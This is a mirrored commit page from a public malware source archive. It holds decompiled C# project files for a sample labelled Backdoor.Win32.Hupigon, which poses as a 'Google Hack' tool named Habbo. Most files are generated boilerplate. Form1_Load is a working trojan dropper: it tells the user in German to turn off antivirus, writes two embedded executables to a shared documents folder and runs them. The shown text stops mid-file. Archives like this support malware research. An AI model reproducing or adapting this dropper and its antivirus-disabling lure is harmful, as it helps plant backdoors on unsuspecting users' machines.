mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-21 02:09:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright © 2004")]
|
||||
[assembly: AssemblyTitle("Habbo")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Habbo")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("75221ba5-0ea8-4437-b35b-b71517bf7738")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{08696A9C-498C-4735-A435-9E984C32DD90}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Google Hack</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Habbo</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\InternalXmlHelper.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Google Hack", "Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.csproj", "{08696A9C-498C-4735-A435-9E984C32DD90}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{08696A9C-498C-4735-A435-9E984C32DD90}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{08696A9C-498C-4735-A435-9E984C32DD90}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{08696A9C-498C-4735-A435-9E984C32DD90}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{08696A9C-498C-4735-A435-9E984C32DD90}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.Form1
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Habbo
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
private IContainer components;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
lock (Form1.__ENCList)
|
||||
Form1.__ENCList.Add(new WeakReference((object) this));
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(134, 163);
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.Name = nameof (Form1);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
int num1 = (int) Interaction.MsgBox((object) "Antivrus schutz aus bitte");
|
||||
FileStream fileStream1 = new FileStream("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/HabboFace.exe", FileMode.Create);
|
||||
fileStream1.Write(Habbo.My.Resources.Resources.HabboFace, 0, Habbo.My.Resources.Resources.HabboFace.Length);
|
||||
fileStream1.Close();
|
||||
FileStream fileStream2 = new FileStream("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/Facebook.exe", FileMode.Create);
|
||||
fileStream2.Write(Habbo.My.Resources.Resources.Facebook, 0, Habbo.My.Resources.Resources.Facebook.Length);
|
||||
fileStream2.Close();
|
||||
int num2 = (int) Interaction.MsgBox((object) "Antivrus schutz aus bitte . Fertig");
|
||||
Interaction.Shell("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/Facebook.exe");
|
||||
Interaction.Shell("C:\\Dokumente und Einstellungen\\All Users\\Dokumente/HabboFace.exe");
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+214
@@ -0,0 +1,214 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.InternalXmlHelper
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Xml.Linq;
|
||||
|
||||
namespace Habbo.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class InternalXmlHelper
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
private InternalXmlHelper()
|
||||
{
|
||||
}
|
||||
|
||||
public static string get_Value(IEnumerable<XElement> source)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return enumerator.Current.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_Value(IEnumerable<XElement> source, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.Value = value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return (string) enumerator.Current.Attribute(name);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.SetAttributeValue(name, (object) value);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
|
||||
|
||||
public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
|
||||
{
|
||||
XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
|
||||
namespaceAttribute.AddAnnotation((object) ns);
|
||||
return namespaceAttribute;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static object RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
object obj)
|
||||
{
|
||||
switch (obj)
|
||||
{
|
||||
case XElement e:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e);
|
||||
case IEnumerable enumerable:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable);
|
||||
default:
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static IEnumerable RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
IEnumerable obj)
|
||||
{
|
||||
if (obj == null)
|
||||
return obj;
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject));
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XElement RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
XElement e)
|
||||
{
|
||||
XAttribute nextAttribute;
|
||||
if (e != null)
|
||||
{
|
||||
for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
|
||||
{
|
||||
nextAttribute = xattribute.NextAttribute;
|
||||
if (xattribute.IsNamespaceDeclaration)
|
||||
{
|
||||
XNamespace xnamespace1 = xattribute.Annotation<XNamespace>();
|
||||
string localName1 = xattribute.Name.LocalName;
|
||||
if ((object) xnamespace1 != null)
|
||||
{
|
||||
if (inScopePrefixes != null && inScopeNs != null)
|
||||
{
|
||||
int num = checked (inScopePrefixes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
string inScopePrefix = inScopePrefixes[index];
|
||||
XNamespace inScopeN = inScopeNs[index];
|
||||
if (localName1.Equals(inScopePrefix))
|
||||
{
|
||||
if (xnamespace1 == inScopeN)
|
||||
xattribute.Remove();
|
||||
xattribute = (XAttribute) null;
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
if (xattribute != null)
|
||||
{
|
||||
if (attributes != null)
|
||||
{
|
||||
int num = checked (attributes.Count - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
XAttribute attribute = attributes[index];
|
||||
string localName2 = attribute.Name.LocalName;
|
||||
XNamespace xnamespace2 = attribute.Annotation<XNamespace>();
|
||||
if ((object) xnamespace2 != null && localName1.Equals(localName2))
|
||||
{
|
||||
if (xnamespace1 == xnamespace2)
|
||||
xattribute.Remove();
|
||||
xattribute = (XAttribute) null;
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
if (xattribute != null)
|
||||
{
|
||||
xattribute.Remove();
|
||||
attributes.Add(xattribute);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return e;
|
||||
}
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.MyApplication
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Habbo.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyApplication()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
lock (MyApplication.__ENCList)
|
||||
MyApplication.__ENCList.Add(new WeakReference((object) this));
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.MyComputer
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Habbo.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.MyProject
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Habbo.My
|
||||
{
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
